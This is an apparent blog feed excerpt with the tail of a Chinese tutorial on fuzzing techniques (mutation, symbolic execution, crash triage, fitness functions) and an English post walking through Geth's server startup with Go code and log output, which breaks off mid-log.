style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span></span></span></span>替换它。</p><p>还有几种<strong>block-based mutation</strong>策略，其中 block 是种子的连续字节：</p><ul><li>在种子的随机位置插入随机生成的块。</li><li>从种子中删除随机选择的块。</li><li>用随机值替换随机选择的块。</li><li>调整种子的大小，例如通过添加随机块。</li><li>从一个种子中取一个随机块插入到另一个种子的随机位置。</li></ul><p><strong>预定义值替换</strong>：在某些情况下，使用预定义的值（如格式字符<code>%s</code>和<code>%x</code>）替换输入中的某些部分，特别是在针对格式字符串漏洞的测试中。</p><h3 id="White-box-Fuzzer-的程序分析">White-box Fuzzer 的程序分析</h3><p>对于白盒 fuzzers，它们通过执行复杂的静态或动态分析来进行深入的变异，从而能够更准确地识别潜在的漏洞和错误。例如，Dowser 这样的工具在编译阶段执行静态分析，利用启发式方法寻找可能包含错误的代码区域，特别是循环结构。</p><h4 id="Dynamic-Symbolic-Execution">Dynamic Symbolic Execution</h4><p>从高层次来看，动态符号执行使用符号值作为输入来运行程序，而不是具体的值。当执行待测试程序（PUT）时，它会构建符号表达式。每当遇到条件分支指令时，动态符号执行会分叉两个符号执行环境：一个代表真分支，另一个代表假分支。对于每个路径，动态符号执行会构建一个路径公式，如果存在满足该路径的具体输入，则该路径公式是可满足的。人们可以通过查询 SMT（Satisfiability Modulo Theories）求解器获得路径公式的解，从而生成具体的输入。</p><p>然而，与灰盒或黑盒方法相比，动态符号执行的速度相对较慢。为了解决这个问题，一个常见的策略是结合灰盒 fuzzing 来估计执行每个路径的概率，或者是用户指定 PUT 的某些部分来专门进行动态符号执行。</p><h4 id="Guided-Fuzzing">Guided Fuzzing</h4><p>导向 fuzzing 主要分为两个阶段：</p><ol><li>对 PUT 进行深入的程序分析以获取有用信息。</li><li>根据前面的分析生成测试用例。</li></ol><p>例如，TaintScope 使用精细的污点分析来找出“热点字节”，即那些流入关键系统或 API 调用的输入字节。Angora 则改进了这种“热点字节”的方法，使用污点分析将每个路径约束与相应的字节相关联。接着，Angora 采用梯度下降算法的启发式搜索来引导其变异，以解决这些约束。</p><p>通过这些高级的分析和变异技术，白盒 fuzzers 能够更有效地探测到程序中的复杂错误和漏洞，使得 fuzzing 测试更为深入和全面。这些方法的应用不仅提高了 fuzzing 的效果，也为软件测试和安全分析提供了更多的可能性。</p><h2 id="INPUT-EVALUATION">INPUT EVALUATION</h2><p>在生成输入之后，fuzzer 会在此输入上执行 PUT 并决定如何处理执行结果。此过程称为<code>input evaluation</code>。</p><p>关键目的是使用 bug oracle 检测 bug，它是一种安全策略。例如，由于指针覆盖导致的内存漏洞在被解引用时可能会抛出段错误。此外，研究者提出了多种方法来高效地检测不安全或不期望的程序行为。</p><ul><li><strong>Memory and Type Safety</strong>：追踪有效内存地址和不兼容的类型转换；检测非法的控制流修改。</li><li><strong>Input Validation</strong>：例如 XSS 和 SQL 注入漏洞。</li><li><strong>Semantic Difference</strong>：语义错误通常通过<strong>differential testing</strong>方法发现，该方法比较相似（但不完全相同）的程序的行为，比如对同一协议的不同实现的库，进行测试。</li></ul><p>fuzzer 在评估阶段应该对程序 bug 的结果进行分类和分析。分析和报告违反策略的测试用例的过程称为<strong>triage</strong>。</p><p>首先，<strong>deduplication</strong>是一种修剪输出集的过程，其中删除了那些触发与其他测试用例相同错误的输出。它避免了在硬盘上存储重复的结果，也更加概括性地呈现运行结果。</p><p>目前在实践中使用的三种主要去重方法是：stack backtrace hashing、coverage-based deduplication 和<strong>Semantics-aware Deduplication</strong>。</p><ul><li><p><strong>Stack backtrace hashing</strong>：在此方法中，一个自动化工具会在崩溃时记录 stack backtrace，并基于该 backtrace 的内容分配一个 stack hash。例如，如果程序在执行 function <code>foo</code> 的某行代码时崩溃，并且调用堆栈为<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6679em;"></span><span class="mord"><span class="mord mathrm">main</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathrm">d</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathrm">c</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathrm">b</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathrm">a</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord"><span class="mord mathrm">foo</span></span></span></span></span>，那么对于特定栈长度<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">5</span></span></span></span>的 stack backtrace hashing 的类别，其他调用堆栈如果以<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6679em;"></span><span class="mord"><span class="mord mathrm">main</span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathrm">d</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathrm">c</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathrm">b</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathrm">a</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord"><span class="mord mathrm">foo</span></span></span></span></span>崩溃，那么就算做一类。</p><img src="http://cdn.blog-blockchain.xyz/202310211427326.png" alt="image-20231021142715192" style="zoom:50%;" /></li><li><p><strong>Coverage-based Deduplication</strong>：AFL 根据是否覆盖了新的程序路径来确定崩溃是否独特。</p></li><li><p><strong>Semantics-aware Deduplication</strong>：例如，RETracer 通过反向数据流分析来分类崩溃，通过分析崩溃转储来确定哪个指针引起了崩溃，并递归地跟踪哪个指令赋予了错误的值。</p></li></ul><p><strong>Prioritization</strong>，也称为 fuzzer 中的<strong>taming problem</strong>，是根据测试用例触发的漏洞的严重性和独特性对其进行排序或分类的过程。而<strong>exploitability</strong>则用于非正式地评估开发出实际攻击工具的可能性。</p><p><strong>triage</strong>的另一个重要部分是<strong>test case minimization</strong>。它生成一个比原来更小、更简单但仍然导致违规的测试用例。这一步骤对于精确定位漏洞和简化复杂的测试用例至关重要。</p><p><code>input evaluation</code>阶段在 fuzzing 过程中扮演着关键角色，不仅涉及 bug 的检测和分类，还包括对测试用例进行有效的优化和简化，以提高后续分析的效率和精确性。</p><h2 id="CONFIGURATION-UPDATING">CONFIGURATION UPDATING</h2><p>黑盒 fuzzer 的<code>CONFUPDATE</code>函数的行为，与灰盒或白盒 fuzzer 非常不同。这个函数允许 fuzzer 根据在当前 fuzzing 运行中收集到的配置和执行信息来修改配置集合。这种动态调整配置的能力是灰盒和白盒 fuzzing 策略的核心部分，使得 fuzzing 过程可以根据实时反馈进行自适应调整。</p><p>在基于进化算法（EA）的 fuzzers 中，<code>CONFUPDATE</code>函数特别重要。这些 fuzzers 在新个体被发现的过程中维护一个所谓的“有前景的”种子池，使种子池随着 fuzz 活动的进行而不断进化。大多数基于 EA 的 fuzzers 使用节点或分支覆盖作为适应性函数，来衡量种子的有效性。</p><p>因此，一个重要的研究领域是精化适应性函数，使其能够检测到更微妙和更细粒度的改进指标。例如，AFL 优化其适应性函数定义，通过记录分支被执行的次数来评估每个种子的有效性。这种方法允许 fuzzer 优先考虑那些可能探索到程序新路径的种子，从而更有效地覆盖更广泛的代码区域。</p><p>此外，一些 fuzzers 还会使用其他指标，如代码路径的独特性、执行时间、内存使用等，来进一步细化种子的选择和变异策略。通过不断调整和优化这些参数，<code>CONFUPDATE</code>函数使 fuzzer 能够更智能地响应测试过程中的发现，从而提高整体 fuzzing 过程的效率和有效性。</p><h2 id="Reference">Reference</h2><ol><li>Manès, V. J., Han, H., Han, C., Cha, S. K., Egele, M., Schwartz, E. J., &amp; Woo, M. (2019). The art, science, and engineering of fuzzing: A survey. <em>IEEE Transactions on Software Engineering</em>, <em>47</em>(11), 2312-2331.</li><li>H. Gascon, C. Wressnegger, F. Yamaguchi, D. Arp, and K. Rieck, “PULSAR: Stateful black-box fuzzing of proprietary network protocols,” in Proc. Int. Conf. Security Privacy Commun. Syst.,2015, pp. 330–347.</li><li>I. Haller, A. Slowinska, M. Neugschwandtner, and H. Bos, “Dowsing for overflows: A guided fuzzer to find buffer boundary violations,” in Proc. USENIX Security Symp.,2013, pp. 49–64</li><li>T. Wang, T. Wei, G. Gu, and W. Zou, “TaintScope: A checksumaware directed fuzzing tool for automatic software vulnerability detection,” in Proc. IEEE Symp. Security Privacy, 2010, pp. 497–512.</li><li>P. Chen and H. Chen, “Angora: Efficient fuzzing by principled search,” in Proc. IEEE Symp. Security Privacy, 2018, pp. 855–869.</li><li>W. Cui, M. Peinado, S. K. Cha, Y. Fratantonio, and V. P. Kemerlis, “RETracer: Triaging crashes by reverse execution from partial memory dumps,” in Proc. Int. Conf. Softw. Eng., 2016, pp. 820–831.</li></ol>]]>
    </content>
    <id>https://www.blog-blockchain.xyz/pl/fuzzing-introduction/</id>
    <link href="https://www.blog-blockchain.xyz/pl/fuzzing-introduction/"/>
    <published>2023-10-21T09:00:30.000Z</published>
    <summary>全面介绍模糊测试（Fuzzing）的基本概念、分类和技术，详细讲解黑盒、灰盒和白盒模糊测试的特点，分析输入生成、评估和优化策略，以及在软件漏洞发现中的应用。</summary>
    <title>（十）Fuzzing 基础</title>
    <updated>2026-02-19T16:18:01.143Z</updated>
  </entry>
  <entry>
    <author>
      <name>Michael L</name>
    </author>
    <category term="geth" scheme="https://www.blog-blockchain.xyz/categories/geth/"/>
    <category term="geth" scheme="https://www.blog-blockchain.xyz/tags/geth/"/>
    <content>
      <![CDATA[<blockquote><ol class="series-items"><li><a href="/geth/tx-signature/" title="交易的签名">交易的签名</a></li><li><a href="/geth/understand-receipt/" title="理解收据receipt">理解收据receipt</a></li><li><a href="/geth/blocks/" title="理解区块">理解区块</a></li><li><a href="/geth/understand-tx/" title="理解交易">理解交易</a></li><li><a href="/geth/blockchain-core/" title="blockchain核心">blockchain核心</a></li><li><a href="/geth/forkId/" title="forkId 解读">forkId 解读</a></li><li><a href="/geth/oracle-introduction/" title="oracle 原理和实现">oracle 原理和实现</a></li><li><a href="/geth/txlist/" title="TxList 解读">TxList 解读</a></li><li><a href="/geth/bloom-filter/" title="布隆过滤器原理">布隆过滤器原理</a></li><li><a href="/geth/tx-pool/" title="交易池分析">交易池分析</a></li><li><a href="/geth/MPT-Tree/" title="MPT树">MPT树</a></li><li><a href="/geth/block-sync/" title="区块同步">区块同步</a></li><li><a href="/geth/introduction/" title="geth源码学习——介绍">geth源码学习——介绍</a></li><li><a href="/geth/Geth-Unveiled-Ethereum-Startup/" title="How Geth starts its server">How Geth starts its server</a></li></ol></blockquote><p>When starting up, the Geth client begins by parsing the command line parameters. This process kicks off with the <code>geth</code> function: <code>func geth(ctx *cli.Context) error </code> at <code>cmd/geth/main.go:326</code> where the <code>geth</code> prepares the metric if enabled. Subsequently, the <code>makeFullNode</code> function takes over. It reads the provided configuration file or command line flags. As a result, it returns two key components: <strong>the protocol stack</strong> and <strong>the backend API</strong>.</p><p>It’s worth noting the importance of the Backend API. It establishes a myriad of interfaces, facilitating interaction with nodes and handling external RPC call limits.</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Backend interface provides the common API services (that are provided by</span></span><br><span class="line"><span class="comment">// both full and light clients) with access to necessary functions.</span></span><br><span class="line"><span class="keyword">type</span> Backend <span class="keyword">interface</span> &#123;</span><br><span class="line"><span class="comment">// General Ethereum API</span></span><br><span class="line">SyncProgress() ethereum.SyncProgress</span><br><span class="line"></span><br><span class="line">SuggestGasTipCap(ctx context.Context) (*big.Int, <span class="type">error</span>)</span><br><span class="line">FeeHistory(ctx context.Context, blockCount <span class="type">uint64</span>, lastBlock rpc.BlockNumber, rewardPercentiles []<span class="type">float64</span>) (*big.Int, [][]*big.Int, []*big.Int, []<span class="type">float64</span>, <span class="type">error</span>)</span><br><span class="line">ChainDb() ethdb.Database</span><br><span class="line">AccountManager() *accounts.Manager</span><br><span class="line">ExtRPCEnabled() <span class="type">bool</span></span><br><span class="line">RPCGasCap() <span class="type">uint64</span>            <span class="comment">// global gas cap for eth_call over rpc: DoS protection</span></span><br><span class="line">RPCEVMTimeout() time.Duration <span class="comment">// global timeout for eth_call over rpc: DoS protection</span></span><br><span class="line">RPCTxFeeCap() <span class="type">float64</span>         <span class="comment">// global tx fee cap for all transaction related APIs</span></span><br><span class="line">UnprotectedAllowed() <span class="type">bool</span>     <span class="comment">// allows only for EIP155 transactions.</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// Blockchain API</span></span><br><span class="line">SetHead(number <span class="type">uint64</span>)</span><br><span class="line">HeaderByNumber(ctx context.Context, number rpc.BlockNumber) (*types.Header, <span class="type">error</span>)</span><br><span class="line">HeaderByHash(ctx context.Context, hash common.Hash) (*types.Header, <span class="type">error</span>)</span><br><span class="line">HeaderByNumberOrHash(ctx context.Context, blockNrOrHash rpc.BlockNumberOrHash) (*types.Header, <span class="type">error</span>)</span><br><span class="line">CurrentHeader() *types.Header</span><br><span class="line">CurrentBlock() *types.Header</span><br><span class="line">BlockByNumber(ctx context.Context, number rpc.BlockNumber) (*types.Block, <span class="type">error</span>)</span><br><span class="line">BlockByHash(ctx context.Context, hash common.Hash) (*types.Block, <span class="type">error</span>)</span><br><span class="line">BlockByNumberOrHash(ctx context.Context, blockNrOrHash rpc.BlockNumberOrHash) (*types.Block, <span class="type">error</span>)</span><br><span class="line">StateAndHeaderByNumber(ctx context.Context, number rpc.BlockNumber) (*state.StateDB, *types.Header, <span class="type">error</span>)</span><br><span class="line">StateAndHeaderByNumberOrHash(ctx context.Context, blockNrOrHash rpc.BlockNumberOrHash) (*state.StateDB, *types.Header, <span class="type">error</span>)</span><br><span class="line">PendingBlockAndReceipts() (*types.Block, types.Receipts)</span><br><span class="line">GetReceipts(ctx context.Context, hash common.Hash) (types.Receipts, <span class="type">error</span>)</span><br><span class="line">GetTd(ctx context.Context, hash common.Hash) *big.Int</span><br><span class="line">GetEVM(ctx context.Context, msg *core.Message, state *state.StateDB, header *types.Header, vmConfig *vm.Config, blockCtx *vm.BlockContext) (*vm.EVM, <span class="function"><span class="keyword">func</span><span class="params">()</span></span> <span class="type">error</span>)</span><br><span class="line">SubscribeChainEvent(ch <span class="keyword">chan</span>&lt;- core.ChainEvent) event.Subscription</span><br><span class="line">SubscribeChainHeadEvent(ch <span class="keyword">chan</span>&lt;- core.ChainHeadEvent) event.Subscription</span><br><span class="line">SubscribeChainSideEvent(ch <span class="keyword">chan</span>&lt;- core.ChainSideEvent) event.Subscription</span><br><span class="line"></span><br><span class="line"><span class="comment">// Transaction pool API</span></span><br><span class="line">SendTx(ctx context.Context, signedTx *types.Transaction) <span class="type">error</span></span><br><span class="line">GetTransaction(ctx context.Context, txHash common.Hash) (*types.Transaction, common.Hash, <span class="type">uint64</span>, <span class="type">uint64</span>, <span class="type">error</span>)</span><br><span class="line">GetPoolTransactions() (types.Transactions, <span class="type">error</span>)</span><br><span class="line">GetPoolTransaction(txHash common.Hash) *types.Transaction</span><br><span class="line">GetPoolNonce(ctx context.Context, addr common.Address) (<span class="type">uint64</span>, <span class="type">error</span>)</span><br><span class="line">Stats() (pending <span class="type">int</span>, queued <span class="type">int</span>)</span><br><span class="line">TxPoolContent() (<span class="keyword">map</span>[common.Address][]*types.Transaction, <span class="keyword">map</span>[common.Address][]*types.Transaction)</span><br><span class="line">TxPoolContentFrom(addr common.Address) ([]*types.Transaction, []*types.Transaction)</span><br><span class="line">SubscribeNewTxsEvent(<span class="keyword">chan</span>&lt;- core.NewTxsEvent) event.Subscription</span><br><span class="line"></span><br><span class="line">ChainConfig() *params.ChainConfig</span><br><span class="line">Engine() consensus.Engine</span><br><span class="line"></span><br><span class="line"><span class="comment">// This is copied from filters.Backend</span></span><br><span class="line"><span class="comment">// eth/filters needs to be initialized from this backend type, so methods needed by</span></span><br><span class="line"><span class="comment">// it must also be included here.</span></span><br><span class="line">GetBody(ctx context.Context, hash common.Hash, number rpc.BlockNumber) (*types.Body, <span class="type">error</span>)</span><br><span class="line">GetLogs(ctx context.Context, blockHash common.Hash, number <span class="type">uint64</span>) ([][]*types.Log, <span class="type">error</span>)</span><br><span class="line">SubscribeRemovedLogsEvent(ch <span class="keyword">chan</span>&lt;- core.RemovedLogsEvent) event.Subscription</span><br><span class="line">SubscribeLogsEvent(ch <span class="keyword">chan</span>&lt;- []*types.Log) event.Subscription</span><br><span class="line">SubscribePendingLogsEvent(ch <span class="keyword">chan</span>&lt;- []*types.Log) event.Subscription</span><br><span class="line">BloomStatus() (<span class="type">uint64</span>, <span class="type">uint64</span>)</span><br><span class="line">ServiceFilter(ctx context.Context, session *bloombits.MatcherSession)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>For instance, the <code>SyncProgress()</code> method captures the node’s status as it synchronizes with the Ethereum network.</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">type</span> SyncProgress <span class="keyword">struct</span> &#123;</span><br><span class="line">StartingBlock <span class="type">uint64</span> <span class="comment">// Block number where sync began</span></span><br><span class="line">CurrentBlock  <span class="type">uint64</span> <span class="comment">// Current block number where sync is at</span></span><br><span class="line">HighestBlock  <span class="type">uint64</span> <span class="comment">// Highest alleged block number in the chain</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// &quot;fast sync&quot; fields. These used to be sent by geth, but are no longer used</span></span><br><span class="line"><span class="comment">// since version v1.10.</span></span><br><span class="line">PulledStates <span class="type">uint64</span> <span class="comment">// Number of state trie entries already downloaded</span></span><br><span class="line">KnownStates  <span class="type">uint64</span> <span class="comment">// Total number of state trie entries known about</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// &quot;snap sync&quot; fields.</span></span><br><span class="line">SyncedAccounts      <span class="type">uint64</span> <span class="comment">// Number of accounts downloaded</span></span><br><span class="line">SyncedAccountBytes  <span class="type">uint64</span> <span class="comment">// Number of account trie bytes persisted to disk</span></span><br><span class="line">SyncedBytecodes     <span class="type">uint64</span> <span class="comment">// Number of bytecodes downloaded</span></span><br><span class="line">SyncedBytecodeBytes <span class="type">uint64</span> <span class="comment">// Number of bytecode bytes downloaded</span></span><br><span class="line">SyncedStorage       <span class="type">uint64</span> <span class="comment">// Number of storage slots downloaded</span></span><br><span class="line">SyncedStorageBytes  <span class="type">uint64</span> <span class="comment">// Number of storage trie bytes persisted to disk</span></span><br><span class="line"></span><br><span class="line">HealedTrienodes     <span class="type">uint64</span> <span class="comment">// Number of state trie nodes downloaded</span></span><br><span class="line">HealedTrienodeBytes <span class="type">uint64</span> <span class="comment">// Number of state trie bytes persisted to disk</span></span><br><span class="line">HealedBytecodes     <span class="type">uint64</span> <span class="comment">// Number of bytecodes downloaded</span></span><br><span class="line">HealedBytecodeBytes <span class="type">uint64</span> <span class="comment">// Number of bytecodes persisted to disk</span></span><br><span class="line"></span><br><span class="line">HealingTrienodes <span class="type">uint64</span> <span class="comment">// Number of state trie nodes pending</span></span><br><span class="line">HealingBytecode  <span class="type">uint64</span> <span class="comment">// Number of bytecodes pending</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Regarding the protocol stack, it’s represented by the <code>Node</code> structure, which comprises numerous fields. Among these, the <code>stop</code> field plays a pivotal role as it signals the termination of the server.</p><figure class="highlight go"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// Node is a container on which services can be registered.</span></span><br><span class="line"><span class="keyword">type</span> Node <span class="keyword">struct</span> &#123;</span><br><span class="line">eventmux      *event.TypeMux</span><br><span class="line">config        *Config</span><br><span class="line">accman        *accounts.Manager</span><br><span class="line">log           log.Logger</span><br><span class="line">keyDir        <span class="type">string</span>        <span class="comment">// key store directory</span></span><br><span class="line">keyDirTemp    <span class="type">bool</span>          <span class="comment">// If true, key directory will be removed by Stop</span></span><br><span class="line">dirLock       *flock.Flock  <span class="comment">// prevents concurrent use of instance directory</span></span><br><span class="line">stop          <span class="keyword">chan</span> <span class="keyword">struct</span>&#123;&#125; <span class="comment">// Channel to wait for termination notifications</span></span><br><span class="line">server        *p2p.Server   <span class="comment">// Currently running P2P networking layer</span></span><br><span class="line">startStopLock sync.Mutex    <span class="comment">// Start/Stop are protected by an additional lock</span></span><br><span class="line">state         <span class="type">int</span>           <span class="comment">// Tracks state of node lifecycle</span></span><br><span class="line"></span><br><span class="line">lock          sync.Mutex</span><br><span class="line">lifecycles    []Lifecycle <span class="comment">// All registered backends, services, and auxiliary services that have a lifecycle</span></span><br><span class="line">rpcAPIs       []rpc.API   <span class="comment">// List of APIs currently provided by the node</span></span><br><span class="line">http          *httpServer <span class="comment">//</span></span><br><span class="line">ws            *httpServer <span class="comment">//</span></span><br><span class="line">httpAuth      *httpServer <span class="comment">//</span></span><br><span class="line">wsAuth        *httpServer <span class="comment">//</span></span><br><span class="line">ipc           *ipcServer  <span class="comment">// Stores information about the ipc http server</span></span><br><span class="line">inprocHandler *rpc.Server <span class="comment">// In-process RPC request handler to process the API requests</span></span><br><span class="line"></span><br><span class="line">databases <span class="keyword">map</span>[*closeTrackingDB]<span class="keyword">struct</span>&#123;&#125; <span class="comment">// All open databases</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>Once all configurations are in place and prior to the server’s actual launch, you should observe the following output:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br></pre></td><td class="code"><pre><span class="line">INFO [09-13|12:46:39.391] Starting Geth on Ethereum mainnet...</span><br><span class="line">INFO [09-13|12:46:39.392] Bumping default cache on mainnet         provided=1024 updated=4096</span><br><span class="line">INFO [09-13|12:46:39.396] Maximum peer count                       ETH=50 LES=0 total=50</span><br><span class="line">INFO [09-13|12:46:39.400] Smartcard socket not found, disabling    err=&quot;stat /run/pcscd/pcscd.comm: no such file or directory&quot;</span><br><span class="line">INFO [09-13|12:46:39.408] Set global gas cap                       cap=50,000,000</span><br><span class="line">INFO [09-13|12:46:39.408] Initializing the KZG library             backend=gokzg</span><br><span class="line">INFO [09-13|12:46:39.611] Allocated trie memory caches             clean=614.00MiB dirty=1024.00MiB</span><br><span class="line">INFO [09-13|12:46:39.611] Using pebble as the backing database</span><br><span class="line">INFO [09-13|12:46:39.611] Allocated cache and file handles         database=/home/username/.ethereum/geth/chaindata cache=2.00GiB handles=32767</span><br><span class="line">INFO [09-13|12:46:39.677] Opened ancient database                  database=/home/username/.ethereum/geth/chaindata/ancient/chain readonly=false</span><br><span class="line">INFO [09-13|12:46:39.681] Initialising Ethereum protocol           network=1 dbversion=8</span><br><span class="line">INFO [09-13|12:46:39.681]</span><br><span class="line">INFO [09-13|12:46:39.681] ---------------------------------------------------------------------------------------------------------------------------------------------------------</span><br><span class="line">INFO [09-13|12:46:39.683] Chain ID:  1 (mainnet)</span><br><span class="line">INFO [09-13|12:46:39.683] Consensus: Beacon (proof-of-stake), merged from Ethash (proof-of-work)</span><br><span class="line">INFO [09-13|12:46:39.683]</span><br><span class="line">INFO [09-13|12:46:39.683] Pre-Merge hard forks (block based):</span><br><span class="line">INFO [09-13|12:46:39.683]  - Homestead:                   #1150000  (https://github.com/ethereum/execution-specs/blob/master/network-upgrades/mainnet-upgrades/homestead.md)</span><br><span class="line">INFO [09-13|12:46:39.683]  - DAO Fork:                    #1920000  (https://github.com/ethereum/execution-specs/blob/master/network-upgrades/mainnet-upgrades/dao-fork.md)</span><br><span class="line">INFO [09-13|12:46:39.683]  - Tangerine Whistle (EIP 150): #2463000  (https://github.com/ethereum/execution-specs/blob/master/network-upgrades/mainnet-upgrades/tangerine-whistle.md)</span><br><span class="line">INFO [09-13|12:46:39.683]  - Spurious Dragon/1 (EIP 155): #2675000  (https://github.com/ethereum/execution-specs/blob/master/network-upgrades/mainnet-upgrades/spurious-dragon.md)</span><br><span class="line">INFO [09-13|12:46:39.683]  - Spurious Dragon/2 (EIP 158): #2675000  (https://github.com/ethereum/execution-specs/blob/master/network-upgrades/mainnet-upgrades/spurious-dragon.md)</span><br><span class="line">INFO [09-13|12:46:39.683]  - Byzantium:                   #4370000  (https://github.com/ethereum/execution-specs/blob/master/network-upgrades/mainnet-upgrades/byzantium.md)</span><br><span class="line">INFO [09-13|12:46:39.683]  - Constantinople:              #7280000  (https://github.com/ethereum/execution-specs/blob/master/network-upgrades/mainnet-upgrades/constantinople.md)</span><br><span class="line">INFO [09-13|12:46:39.683]  - Petersburg:                  #7280000  (https://github.com/ethereum/execution-specs/blob/master/network-upgrades/mainnet-upgrades/petersburg.md)</span><br><span class="line">INFO [09-13|12:46:39.683]  - Istanbul:                    #9069000  (https://github.com/ethereum/execution-specs/blob/master/network-upgrades/mainnet-upgrades/istanbul.md)</span><br><span class="line">INFO [09-13|12:46:39.683]  - Muir Glacier:                #9200000  